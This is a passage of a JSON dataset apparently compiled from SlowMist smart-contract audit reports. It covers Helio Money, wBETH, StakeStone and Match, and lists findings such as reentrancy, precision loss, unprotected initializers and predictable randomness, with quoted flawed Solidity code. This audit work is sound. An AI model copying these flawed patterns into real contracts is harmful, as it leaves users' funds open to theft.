EmergencyShutdown.constructor(address,address)._vat (es.sol#19) EmergencyShutdown.constructor(address,address)._multisig (es.sol#19) EmergencyShutdown.setMultiSig(address)._multisig (es.sol#28) Vow.initialize(address,address,address)._hayJoin (vow.sol#59) Vow.initialize(address,address,address).multisig_ (vow.sol#59) Vow.file(bytes32,address).data (vow.sol#78)", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Performs a multiplication on the result of a division", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "- price = oneTokenOut / amountOut * 10 ** 18 (oracle/PriceOracleTestnet.sol#55) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#27) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#28) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#29) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#30) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#31) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#32) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#33) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#34) - l /= pow2 (oracle/libraries/FullMath.sol#24) - l * r (oracle/libraries/FullMath.sol#35) - poolTokens = (poolTokensToBurn * 1e11) / (1e11 - stakePool.config().fee.withdraw) (strategy/StkBnbStrategy.sol#188) - poolTokensFee = (poolTokens * stakePool.config().fee.withdraw) / 1e11 (strategy/StkBnbStrategy.sol#198) - x = xxRound_rpow_asm_0 / b (hMath.sol#19) - zx_rpow_asm_0 = z * x (hMath.sol#21) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#27) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#28) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#29) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#30) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#31) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#32) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#33) - d /= pow2 (oracle/libraries/FullMath.sol#23) - r *= 2 - d * r (oracle/libraries/FullMath.sol#34) - l /= pow2 (oracle/libraries/FullMath.sol#24) - l * r (oracle/libraries/FullMath.sol#35) - x = xxRound_rpow_asm_0 / b (abaci.sol#159) - zx_rpow_asm_0 = z * x (abaci.sol#161) - x = xxRound_rpow_asm_0 / b (abaci.sol#249) - zx_rpow_asm_0 = z * x (abaci.sol#251) - rate = wad / timeline (jar.sol#141) - leftover = remaining * rate (jar.sol#144) - x = xxRound_rpow_asm_0 / b (hMath.sol#19) - zx_rpow_asm_0 = z * x (hMath.sol#21) Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Arithmetic Accuracy Deviation Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Anyone can call initialize on the logic contract", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/ceros/upgrades/CeVaultV2.sol 33,5: function initialize( contracts/ceros/upgrades/HelioProviderV2.sol 43,5: function initialize( contracts/ceros/CerosRouter.sol 41,5: function initialize( contracts/ceros/CeToken.sol 31,5: function initialize(string calldata _name, string calldata _symbol) contracts/ceros/CeVault.sol 33,5: function initialize( contracts/ceros/hBNB.sol 29,5: function initialize() external initializer { contracts/ceros/HelioProvider.sol 49,5: function initialize( contracts/masterVault/MasterVault.sol 82,5: function initialize( contracts/masterVault/WaitingPool.sol 28,5: function initialize(address _masterVault, uint256 _capLimit) external initializer { contracts/mediator/ElipsisMediator.sol 43,5: function initialize(address targetContract) public initializer { contracts/oracle/interfaces/IUniswapV2Pair.sol 96,3: function initialize(address, address) external; contracts/oracle/BnbOracle.sol 11,5: function initialize(address aggregatorAddress) external initializer { contracts/oracle/BusdOracle.sol 11,5: function initialize(address aggregatorAddress) external initializer { contracts/oracle/HelioOracle.sol 17,5: function initialize(uint256 initialPrice) public initializer { contracts/oracle/PriceOracle.sol 21,3: function initialize( contracts/oracle/PriceOracleTestnet.sol 30,3: function initialize( contracts/oracle/SlidingWindowOracle.sol 45,3: function initialize( contracts/strategy/BnbxYieldConverterStrategy.sol 46,5: function initialize( contracts/strategy/CerosYieldConverterStrategy.sol 27,5: function initialize( contracts/strategy/SnBnbYieldConverterStrategy.sol 45,5: function initialize( contracts/strategy/StkBnbStrategy.sol 58,5: function initialize( contracts/abaci.sol 52,5: function initialize() external initializer { 123,5: function initialize() external initializer { 214,5: function initialize() external initializer { contracts/clip.sol 127,5: function initialize(address vat_, address spotter_, address dog_, bytes32 ilk_) external initializer { contracts/dog.sol 103,5: function initialize(address vat_) external initializer { contracts/flash.sol 58,5: function initialize(address _vat, address _hay, address _hayJoin, address _vow) external initializer { contracts/hay.sol 59,5: function initialize(uint256 chainId_, string memory symbol_, uint256 supplyCap_) external initializer { contracts/HelioRewards.sol 65,5: function initialize(address vat_, uint256 poolLimit_ ) public initializer { contracts/HelioToken.sol 28,5: function initialize(uint256 rewardsSupply_, address rewards_) public initializer { contracts/Interaction.sol 80,5: function initialize( contracts/jar.sol 88,5: function initialize(string memory _name, string memory _symbol, address _hayToken, uint _spread, uint _exitDelay, uint _flashLoanDelay) external initializer { contracts/join.sol 89,5: function initialize(address vat_, bytes32 ilk_, address gem_) external initializer { 149,5: function initialize(address vat_, address hay_) external initializer { contracts/jug.sol 54,5: function initialize(address vat_) external initializer { contracts/lock.sol 64,5: function initialize() external initializer { contracts/spot.sol 56,5: function initialize(address vat_) external initializer { contracts/vat.sol 74,5: function initialize() public initializer { contracts/vow.sol 59,5: function initialize(address vat_, address _hayJoin, address multisig_) external initializer { Anyone can call initialize on the logic contract.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Race Conditions Vulnerability", + "Severity: Low" + ] + }, + { + "title": "vaultToken burned may exceed the actual number needed", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/masterVault/MasterVault.sol function withdrawETH(address account, uint256 amount) external override nonReentrant whenNotPaused onlyProvider returns (uint256 shares) { address src = msg.sender; ICertToken(vaultToken).burn(src, amount); uint256 ethBalance = totalAssetInVault(); shares = _assessFee(amount, withdrawalFee); if(ethBalance < shares) { payable(account).transfer(ethBalance); uint256 withdrawn = withdrawFromActiveStrategies(account, shares - ethBalance); shares = ethBalance + withdrawn; } else { payable(account).transfer(shares); } emit Withdraw(src, src, src, amount, shares); return amount; } When Strategy balance is not enough, the actual withdrawn amount return by withdrawFromActiveStrategies will lower than shares - ethBalance passed, it means the provider burn amount but do not get enough native token.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Missing check BnbOracle status", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/oracle/BnbOracle.sol function peek() public view returns (bytes32, bool) { ( /*uint80 roundID*/, int price, /*uint startedAt*/, /*uint timeStamp*/, /*uint80 answeredInRound*/ ) = priceFeed.latestRoundData(); if (price < 0) { return (0, false); } return (bytes32(uint(price) * (10**10)), true); } In order to get a correct price, we need to check key values returned by priceFeed.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Unsafe External Call Audit", + "Severity: Medium" + ] + }, + { + "title": "Upgrading contracts may introduce new risks", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/oracle/HelioOracle.sol contracts/oracle/PriceOracle.sol contracts/oracle/SlidingWindowOracle.sol The Proxy can upgrade the contract by calling upgradeTo/upgradeToAndCall , and upgrading the contract may introduce new risks.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Authority Control Vulnerability Audit", + "Severity: Suggestion" + ] + }, + { + "title": "HelioOracle owner is never initialized", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/oracle/HelioOracle.sol function changePriceToken(uint256 price_) external { require(msg.sender == _owner, \"HelioOracle/forbidden\"); price = price_; emit PriceChanged(price); } _owner is never initialized, changePriceToken call will fail in any condition.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "HelioOracle price oracle is not rigorous", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/oracle/HelioOracle.sol function changePriceToken(uint256 price_) external { require(msg.sender == _owner, \"HelioOracle/forbidden\"); price = price_; emit PriceChanged(price); } This oracle price is too simple, there is not parameters for determining the validity of prices, such as timestamp.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Oracle price should not return 0", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/HelioRewards.sol function helioPrice() public view returns(uint256) { // 1 HAY is helioPrice() helios (bytes32 price, bool has) = oracle.peek(); if (has) { return uint256(price); } else { return 0; } } contracts/Interaction.sol function collateralPrice(address token) public view returns (uint256) { CollateralType memory collateralType = collaterals[token]; _checkIsLive(collateralType.live); (PipLike pip,) = spotter.ilks(collateralType.ilk); (bytes32 price, bool has) = pip.peek(); if (has) { return uint256(price); } else { return 0; } } Price oracle should break the operation when peek an error, instead of return 0.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Unsafe External Call Audit", + "Severity: Medium" + ] + }, + { + "title": "ERC777 reentrancy risks", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/strategy/StkBnbStrategy.sol function _withdraw(address recipient, uint256 amount) internal returns (uint256) { //... stkBNB.send(address(stakePool), poolTokens, \"\"); // save it so that we can later dispatch the amount to the recipient on claim withdrawReqs[_endIndex++] = WithdrawRequest(recipient, value); // keep track of _netDeposits in StakePool _bnbDepositsInStakePool -= value; return value + ethBalance; } stkBNB is a ERC777 token , ERC777 tokens are vulnerable to reentrancy attacks due to a design aw.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Reentrancy Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Missing events access control", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "MasterVault._updateCerosStrategyDebt() MasterVault.withdrawFee() BnbxYieldConverterStrategy._deposit() BnbxYieldConverterStrategy._withdraw() BnbxYieldConverterStrategy._distributeFund() BnbxYieldConverterStrategy._harvestTo() CerosYieldConverterStrategy._deposit() CerosYieldConverterStrategy._withdraw() CerosYieldConverterStrategy._harvestTo() SnBnbYieldConverterStrategy._deposit() SnBnbYieldConverterStrategy.withdrawInToken() SnBnbYieldConverterStrategy._withdraw() SnBnbYieldConverterStrategy._distributeFund() SnBnbYieldConverterStrategy._harvestTo() StkBnbStrategy._deposit() StkBnbStrategy.withdrawInToken() StkBnbStrategy._withdraw() StkBnbStrategy.harvest()", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Malicious Event Log Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Reentry prevention best practices", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/HelioRewards.sol function claim(uint256 amount) external { //... } contracts/Interaction.sol function deposit( address participant, address token, uint256 dink ) external whitelisted(participant) returns (uint256) { } function borrow(address token, uint256 hayAmount) external returns (uint256) { //... } function payback(address token, uint256 hayAmount) external returns (int256) { //... } Not apply check-eects-interactions pattern when making external calls in these functions.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Reentrancy Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Missing check return value", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "Code location: jug.drip(collateralType.ilk) (Interaction.sol#145) jug.drip(collateralType.ilk) (Interaction.sol#309) _deactivateStrategy(strategy)(contracts/masterVault/MasterVault.sol#315) _depositToStrategy(strategies[i], depositAmount) (contracts/masterVault/MasterVault.sol#342) Not verifying the return value may lead to logical errors.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - wBETH_en-us.pdf", + "body": "1.In the UnwrapTokenV1 contract, the owner role can set the operatorAddress, the rechargeAddress, the ethBackAddress, the ethStaked address, and the lockTime. Wrong conguration and sudden modication will aect the user's normal withdrawal request and claim. ", + "labels": [ + "SlowMist", + "wBETH", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "call() should be used instead of transfer()", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - wBETH_en-us.pdf", + "body": "The transfer() and send() functions forward a xed amount of 2300 gas. Historically, it has often been recommended to use these functions for value transfers to guard against reentrancy attacks. However, the gas cost of EVM instructions may change signicantly during hard forks which may break already deployed contract systems that make xed assumptions about gas costs. For example. EIP 1884 broke several existing smart contracts due to a cost increase in the SLOAD instruction. ", + "labels": [ + "SlowMist", + "wBETH", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Preemptive Initialization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - wBETH_en-us.pdf", + "body": "By calling the initialize and deploy functions to initialize the contracts, there is a potential issue that malicious attackers preemptively call the initialize function to initialize. ", + "labels": [ + "SlowMist", + "wBETH", + "Type: Race Conditions Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Possible calculation truncation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - wBETH_en-us.pdf", + "body": "In the RateLimit contract, the amountToReplenish is calculated by the division (secondsSinceAllowanceSet * maxAllowances[caller]) / intervals[caller]; . If the value of the numerator is less than intervals[caller], this division can truncate towards 0. Since the result of the division is returned by the _getReplenishAmount function and is used in the _replenishAllowance function to update the callers allowance, this truncation can lead to a failure in updating the callers allowance. ", + "labels": [ + "SlowMist", + "wBETH", + "Type: Arithmetic Accuracy Deviation Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Multiple Solidity versions in use", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - wBETH_en-us.pdf", + "body": "Throughout the code base there are dierent versions of Solidity being used. Token contracts are specically using version 0.6.12 while other contracts allow compiling with version 0.8.6.", + "labels": [ + "SlowMist", + "wBETH", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Dev address setting enhancement suggestions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - wBETH_en-us.pdf", + "body": "In the can set the StakedTokenV1 and StakedTokenV2 contracts, the owner role can set the ethReceiver address to move the eth. If the address is an EOA address, in a scenario where the private keys are leaked, the teams revenue will be stolen. ", + "labels": [ + "SlowMist", + "wBETH", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Inability to claim due to insucient availableAllocateAmount", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - wBETH_en-us.pdf", + "body": "In the WrapTokenV2ETH and WrapTokenV2BSC contract, users can call the requestWithdrawEth function to burn their wbeth to withdraw their unwrap_ETH tokens. In this function, the withdraw operation is executed by the UnwrapTokenV1 requestWithdraw function. And in the requestWithdraw function, the _currentIndex value will be increased by the nextIndex++ self-increment. Once the availableAllocateAmount is less than the _ethAmount or the startAllocatedEthIndex is not equal to the currentIndex , the if judgment will pass to execute the else part only, and the startAllocatedEthIndex will not self-increment. This can lead to the allocation failing that users can not call the claimWithdraw function to withdraw their eth. Only in the UnwrapTokenV1 contract, the operator role can call the allocate function to allocate availableAllocateAmount of ethAmount to make the startAllocatedEthIndex++ self-increment to match the if judgment and the claimWithdraws allocated value will be set to true. ", + "labels": [ + "SlowMist", + "wBETH", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Potential error in the calculation of the withdrawal amount", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist_Audit_Report_StakeStone_NativeLendingETHStrategy&Symbi_en-us.pdf", + "body": "In the NativeLendingETHStrategy contract, the owner role can call the withdrawFromNativeByAmount function and the withdrawFromNativeByShare function to redeem the AquaLpToken for ETH. The nal calculated withdrawal amount is simply the dierence between the current ETH balance of the contract and the ETH balance before the redemption operation. However, the redemption operation rst converts the AquaLpToken back to WETH tokens, and then uses the WETH tokens to obtain ETH. If there are surplus WETH tokens in the contract before the redemption (for example, if other users have mistakenly transferred them in), then this excess WETH amount will also be included in the calculated withdrawal amount. Code Location: contracts/strategies/NativeLendingETHStrategy.sol#L44-66 function withdrawFromNativeByAmount( uint256 _amount ) external onlyOwner returns (uint256 withdrawAmount) { uint256 beforeBalance = address(this).balance; IAquaLpToken(LPTOKEN).redeemUnderlying(_amount); WETH.withdraw(WETH.balanceOf(address(this))); withdrawAmount = address(this).balance - beforeBalance; } function withdrawFromNativeByShare( uint256 _share ) external onlyOwner returns (uint256 withdrawAmount) { uint256 beforeBalance = address(this).balance; IAquaLpToken(LPTOKEN).redeem(_share); WETH.withdraw(WETH.balanceOf(address(this))); withdrawAmount = address(this).balance - beforeBalance; }", + "labels": [ + "SlowMist", + "SlowMist_Audit_Report_StakeStone_NativeLendingETHStrategy&Symbi", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Missing event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist_Audit_Report_StakeStone_NativeLendingETHStrategy&Symbi_en-us.pdf", + "body": "In the NativeLendingETHStrategy contract, the owner role can use the ETH in the contract to mint AquaLpToken, and then use the AquaLpToken to redeem for ETH, but there is no event record. Code Location: contracts/strategies/NativeLendingETHStrategy.sol#L28-66 function depositIntoNative( uint256 _amount ) external onlyOwner returns (uint256 mintAmount) { ... } function withdrawFromNativeByAmount( uint256 _amount ) external onlyOwner returns (uint256 withdrawAmount) { ... } function withdrawFromNativeByShare( uint256 _share ) external onlyOwner returns (uint256 withdrawAmount) { ... }", + "labels": [ + "SlowMist", + "SlowMist_Audit_Report_StakeStone_NativeLendingETHStrategy&Symbi", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing zero value check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist_Audit_Report_StakeStone_NativeLendingETHStrategy&Symbi_en-us.pdf", + "body": "In the NativeLendingETHStrategy contract, The owner role does not check whether the input amount for minting and redeeming AquaLpToken tokens is 0 or not. If the input value is 0, the operation can still be executed successfully, but it will consume gas. Code Location: contracts/strategies/NativeLendingETHStrategy.sol#L28-66 function depositIntoNative( uint256 _amount ) external onlyOwner returns (uint256 mintAmount) { ... } function withdrawFromNativeByAmount( uint256 _amount ) external onlyOwner returns (uint256 withdrawAmount) { ... } function withdrawFromNativeByShare( uint256 _share ) external onlyOwner returns (uint256 withdrawAmount) { ... }", + "labels": [ + "SlowMist", + "SlowMist_Audit_Report_StakeStone_NativeLendingETHStrategy&Symbi", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Lack of external interest rate ination vulnerability check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist_Audit_Report_StakeStone_NativeLendingETHStrategy&Symbi_en-us.pdf", + "body": "In the NativeLendingETHStrategy and SymbioticDepositWstETHStrategy contracts, the owner role can separately call the depositIntoNative function and the depositIntoSymbiotic function to deposit the funds in the strategy contract into a third-party protocol, and mint the corresponding deposit certicates. However, the functions do not check whether the minted deposit shares are zero in quantity. Since the code of the third-party protocol is not within the scope of this audit, if there is an interest rate ination vulnerability in the code of the third-party protocol, the funds in the contract may be damaged due to malicious users front-running. For details on the interest rate ination vulnerability, please refer to the following link: https://blog.openzeppelin.com/a-novel-defense-against-erc4626-ination-attacks Code Location: contracts/strategies/NativeLendingETHStrategy.sol#L28-42 function depositIntoNative( uint256 _amount ) external onlyOwner returns (uint256 mintAmount) { ... IAquaLpToken(LPTOKEN).mint(_amount); mintAmount = IAquaLpToken(LPTOKEN).balanceOf(address(this)) - beforeLPBalance; } contracts/strategies/SymbioticDepositWstETHStrategy.sol#L151-169 function depositIntoSymbiotic( uint256 _wstETHAmount ) external onlyOwner returns (uint256 shares) { ... shares = ICollateral(collateralAddr).deposit( address(this), _wstETHAmount ); emit DepositIntoSymbiotic( collateralAddr, address(this), _wstETHAmount, shares ); }", + "labels": [ + "SlowMist", + "SlowMist_Audit_Report_StakeStone_NativeLendingETHStrategy&Symbi", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Potentially unclaimed rewards", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the SingleTokenStaking contract, the calculation of staking rewards mainly depends on the rewardSpeed variable. The contract calculates the global reward accumulation accuedReward based on rewardSpeed and the block interval. When a user settles rewards, the dierence between the current global accuedReward and the user's last settled accuedReward is multiplied by the user's deposit amount to determine the user's claimable rewards. It is important to note that the contract does not limit users' minimum deposit amount. This means that when a user deposits an extremely small amount and rewardSpeed is set relatively low (for example, if the user deposits 1 wei and rewardSpeed is less than 1e18), the user's small rewards may be truncated due to decimal rounding during the reward settlement process. This may result in the user's rewards being left unclaimed in the contract. ", + "labels": [ + "SlowMist", + "Match", + "Type: Arithmetic Accuracy Deviation Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Optimizable refreshGlobalState", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the SingleTokenStaking contract, the refreshGlobalState function is used to update the global reward state accuedReward and update the accumulated rewards and the current block to the corresponding global variables. It is important to note that there may be a large number of users performing operations such as depositing, withdrawing, and claiming rewards within the same block, which will result in frequent calls to the refreshGlobalState function. This means that although accuedReward will not be accumulated within the same block, users still need to pay some gas to update gDeposits.accuedReward and gDeposits.accuedBlock , which is unnecessary within the same block. ", + "labels": [ + "SlowMist", + "Match", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Compatibility issues with deationary tokens", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the SingleTokenStaking contract, users can deposit supported tokens into the contract using the deposit function, and the addDeposit function directly records the amount of deposit tokens passed in by the user. If the token supported by the contract is deationary, the contract will actually receive fewer tokens than the deposit amount passed in by the user. This will cause the contract to record a higher user deposit than the actual amount of tokens received. When the user withdraws, it will result in a bad debt for the protocol. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Optimizable RFG token distribution method", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the RFGToken contract, the token distribution rules are hardcoded. 30% of the token supply will be allocated to liquidity, 10% will be allocated to airdrops, and the remaining tokens will be minted by the minter role. The contract uses three separate functions to mint tokens for these three dierent allocation purposes. However, it should be noted that in the claimAirdrop and claimLiquidity functions, although the tokens are minted for airdrop and liquidity purposes, the receiving addresses are not specied. The owner role can mint these tokens to any address. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Admin who has not set the Boss role", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "During the initialization of the Auction contract, the specied boss address is granted the BossRole. However, it should be noted that the BossRole is not assigned the AdminRole. This means that if the boss address experiences issues such as private key leakage, the protocol will not be able to handle the boss address through revokeRole/grantRole . ", + "labels": [ + "SlowMist", + "Match", + "Type: Authority Control Vulnerability Audit", + "Severity: Low" + ] + }, + { + "title": "Not checking the reasonableness of time when updating auctions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the Auction contract, the admin role can update existing auction congurations through the updateAuction function. When updating, it checks whether the new startPrice is greater than 0, but it does not check whether the new endTime is greater than startTime. It should be noted that the admin can update an auction that has already ended to reopen it. This means that users who have already placed bids or claimed items can participate in the auction again. However, this will cause the restarted auction to conict with the previous claim/refund data. For example, if a user who successfully claimed an NFT in the previous auction wins the auction again, they will not be able to claim the new NFT successfully a second time. This does not align with the expected design. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Smart contracts cannot participate in the auction", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the Auction contract, users can participate in the auction through the bidAuction function. However, the function checks whether msg.sender is equal to tx.origin , which prevents smart contracts (including EIP4337 wallets) from participating in the auction. It should be noted that in the future, if the EIP3074 standard is approved, it may break this check. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Information" + ] + }, + { + "title": "Time check when closing auction is awed", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the Auction contract, the operator can end the auction through the nishAuction function after the endTime. When performing the nishAuction operation, the endTime is checked using block.timestamp >= auction.endTime , while when performing the bidAuction operation, the endTime is checked using block.timestamp <= auction.endTime . This means that when the operator performs the nishAuction operation to set result.price exactly at the endTime, users can still perform the bidAuction operation to participate in the auction. This may not align with the intended design. It may also cause confusion for users, as they can place a bid higher than result.price at the endTime but are not included in the nal Merkle tree. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Not checking if the user's bid is as expected", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the Auction contract, users who successfully win the auction can obtain the NFT through the claimNft function. The operator sets the Merkle proof to verify the validity of the claiming user. When the user's bid price is higher than auctionResult.price , the contract processes a refund for them. However, the contract does not check whether the user's bid price is necessarily greater than or equal to auctionResult.price . If the Merkle tree erroneously includes users with bid prices lower than auctionResult.price , it may result in insucient funds in the contract for the boss role to withdraw. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Not checking if the user's bid is refundable", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the Auction contract, users who meet the refund conditions can use the operator's signature to request a refund. Theoretically, if a user is eligible to claim the NFT, the operator will not sign for them to avoid giving up their eligibility for a refund. However, the refund function does not strictly check whether the bid prices of all refunding users are less than auctionResult.price . If the operator erroneously signs a refund for a user who is eligible to claim the NFT, it will prevent the boss from withdrawing the remaining auction proceeds. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Risk of pseudo-randomness", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the Auction contract, when a user claims an NFT, the fakeRandomToken function is used to calculate the tokenId for the user. The fakeRandomToken function uses block.prevrandao , block.number , and the user-provided seed for calculation. Unfortunately, these parameters can be controlled or are already known. This allows malicious users to ensure that the tokenIds of the NFTs they obtain at specic blocks are all of high value. ", + "labels": [ + "SlowMist", + "Match", + "Type: Block data Dependence Vulnerability", + "Severity: Critical" + ] + }, + { + "title": "Redundant return value of adjustRandomtoken function", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the Auction contract, the adjustRandomtoken function is used to select a matching id for the user based on the current tokenId inventory. When all the inventory has been claimed, the function directly throws an error using require(false) . This makes the nal return 0 redundant because the function will never execute this return statement. ", + "labels": [ + "SlowMist", + "Match", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + 